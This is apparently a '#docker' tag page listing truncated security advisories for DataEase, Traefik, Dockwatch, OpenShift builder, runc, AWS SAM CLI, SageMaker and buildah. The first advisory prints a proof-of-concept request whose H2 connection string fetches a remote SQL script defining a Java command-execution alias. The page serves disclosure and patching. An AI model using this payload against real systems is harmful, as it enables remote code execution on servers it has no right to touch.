#docker

### Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. request message: ``` POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json { "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" } ``` h2 data source connection string: ``` // configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", } ``` the content of poc.sql: ``` // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CA...

### Impact There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For). ### Patches - https://github.com/traefik/traefik/releases/tag/v2.11.9 - https://github.com/traefik/traefik/releases/tag/v3.1.3 ### Workarounds No workaround. ### For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified. For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in ...

Dockwatch is a container management web UI for docker. It runs by default without authentication, although guidance is available for how to setup credentials for access. It has a Commands feature that allows a user to run docker commands such as inspect, network, ps. Prior to fix, it did not restrict input for parameters, so both container and parameters for the dockerInspect command were vulnerable to shell command injection on the container as the abc user with (limited) command output. See commits 23df366 and c091e4c for fixes.

A flaw was found in openshift/builder. This vulnerability allows command injection via path traversal, where a malicious user can execute arbitrary commands on the OpenShift node running the builder container. When using the "Docker" strategy, executable files inside the privileged build container can be overridden using the `spec.source.secrets.secret.destinationDir` attribute of the `BuildConfig` definition. An attacker running code in a privileged container could escalate their permissions on the node running the container.

A vendor honeypot caught two attacks intended to leverage the tens of thousands of exposed Selenium Grid Web app testing servers.

### Summary The AWS Serverless Application Model (SAM) CLI is an open source tool that allows customers to build, deploy and test their serverless applications built on AWS. AWS SAM CLI can build container (Docker) images and customers can specify arguments in the SAM template that are passed to the Docker engine during build [1]. ### Impact If customers specify sensitive data in the DockerBuildArgs parameter of their template, the sensitive data will be shown in clear text in the AWS SAM CLI output via STDERR when running the sam build command. ### Patches A patch is included in aws-sam-cli>=1.122.0. We strongly recommend customers install AWS SAM CLI v1.122.0 or above. Please review logs produced by your SAM CLI runs if you have used the DockerBuildArgs parameter and consider rotating the secrets if you believe they were exposed. ### References If you have any questions or comments about this issue, we ask that you contact AWS/Amazon Security via our vulnerability reporting page...

## Description For SageMaker Training Toolkit[1] versions 4.7.4; 4.7.3; 4.7.2; 4.7.1; 4.7.0, the authorization tokens for CodeArtifact (temporary token with an expiration of 12 hours) were logged in the log files when the CodeArtifact capability was enabled. If customers push these log files to their CloudWatch Log streams, anyone having access to cloudwatch logs within their AWS account, may be abe to see the authorization token. If the token is not expired, they may use the authorization token to publish or consume CodeArtifact package versions. This issue was addressed in version 4.8.0. We recommend users upgrade to version 4.8.0 or higher. Please note that users can add SageMaker Training Toolkit to any Docker container[2] used for SageMaker training[3]. It also comes pre-packaged with the prebuilt SageMaker Docker image[4] for SageMaker training. ## Patches This issue has been addressed in version 4.8.0 and higher. ## Workarounds N/A ## References N/A If you have any ques...

Deploying a Red Hat OpenShift Operator in an environment with internet access is typically straightforward. However, in industries like cyber security or the military sector, where security concerns often prohibit internet access, the process becomes more complex. In a disconnected or air-gapped environment, internet access is usually restricted or unavailable.In this article, I demonstrate the process of deploying an operator in a disconnected environment. I use the recent Red Hat OpenShift AI operator for this example, because the use of artificial intelligence is becoming crucial to many en

### Impact runc 1.1.13 and earlier as well as 1.2.0-rc2 and earlier can be tricked into creating empty files or directories in arbitrary locations in the host filesystem by sharing a volume between two containers and exploiting a race with os.MkdirAll. While this can be used to create empty files, existing files **will not** be truncated. An attacker must have the ability to start containers using some kind of custom volume configuration. Containers using user namespaces are still affected, but the scope of places an attacker can create inodes can be significantly reduced. Sufficiently strict LSM policies (SELinux/Apparmor) can also in principle block this attack -- we suspect the industry standard SELinux policy may restrict this attack's scope but the exact scope of protection hasn't been analysed. This is exploitable using runc directly as well as through Docker and Kubernetes. The CVSS score for this vulnerability is CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N (Low severity, 3....

Red Hat Security Advisory 2024-6189-03 - An update for buildah is now available for Red Hat Enterprise Linux 9.